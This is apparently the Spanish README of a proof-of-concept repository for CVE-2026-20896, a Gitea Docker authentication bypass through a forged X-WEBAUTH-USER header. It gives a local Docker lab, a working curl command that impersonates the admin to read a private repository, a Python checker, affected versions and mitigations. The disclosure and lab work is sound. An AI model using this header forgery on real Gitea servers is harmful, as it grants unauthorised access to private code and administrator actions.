
CVE-2026-20896 — Actualizado!
Omisión de autenticación en la imagen Docker de Gitea
CVE-2026-20896: PoC de omisión de autenticación en la imagen Docker de Gitea
[!WARNING] Usa este PoC solo en un laboratorio local o contra un sistema que estés autorizado explícitamente a probar.
https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b
Resumen
CVE-2026-20896 es una omisión de autenticación en las imágenes oficiales de Docker de Gitea afectadas. Cuando la autenticación mediante proxy inverso está habilitada, el ajuste REVERSE_PROXY_TRUSTED_PROXIES = * generado por la imagen permite que un cliente que pueda alcanzar el backend de Gitea suplante a un usuario existente mediante la cabecera X-WEBAUTH-USER.
El laboratorio crea un administrador llamado gitea-admin con una contraseña aleatoria y almacena CVE-2026-20896_AUTH_BYPASS_CONFIRMED en el repositorio privado gitea-admin/private-proof. Leer ese archivo sin conocer la contraseña aleatoria del administrador demuestra la omisión.
Versiones afectadas
| Categoría | Versión |
|---|---|
| Vulnerable | Imágenes oficiales de Docker gitea/gitea ≤ 1.26.2 |
| Primera versión corregida | 1.26.3 |
| Recomendada | 1.26.4 o posterior |
La configuración vulnerable requiere que la autenticación mediante proxy inverso esté habilitada y que el backend de Gitea sea directamente accesible, o que un proxy ascendente conserve la cabecera de identidad proporcionada por el atacante. No se necesita un contenedor de proxy inverso para esta reproducción local.
Entorno
# build
docker build -t cve-2026-20896-gitea-vuln .
# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln
Espera unos segundos a que Gitea y el repositorio privado de prueba se inicialicen.
PoC
cURL
curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt
Una explotación exitosa devuelve CVE-2026-20896_AUTH_BYPASS_CONFIRMED.
Python
python poc.py http://127.0.0.1:3000
El script compara peticiones no autenticadas, de no administrador y peticiones forjadas de administrador, e imprime VULNERABLE cuando se confirma la omisión de autorización. Requiere Python 3.10 o posterior y usa solo la biblioteca estándar.
Impacto
- Suplantación de usuarios de Gitea conocidos o adivinables
- Acceso no autorizado a repositorios privados y recursos de usuario
- Acciones administrativas cuando se suplanta una cuenta de administrador
Mitigación
- Actualiza a Gitea 1.26.3 o posterior; se recomienda 1.26.4 o posterior.
- Restringe
REVERSE_PROXY_TRUSTED_PROXIESa direcciones de proxy de confianza. - Impide el acceso directo al backend de Gitea y sobrescribe las cabeceras de identidad proporcionadas externamente.
- Desactiva la autenticación mediante proxy inverso cuando no sea necesaria.
Limpieza
docker stop cve-2026-20896-gitea-vuln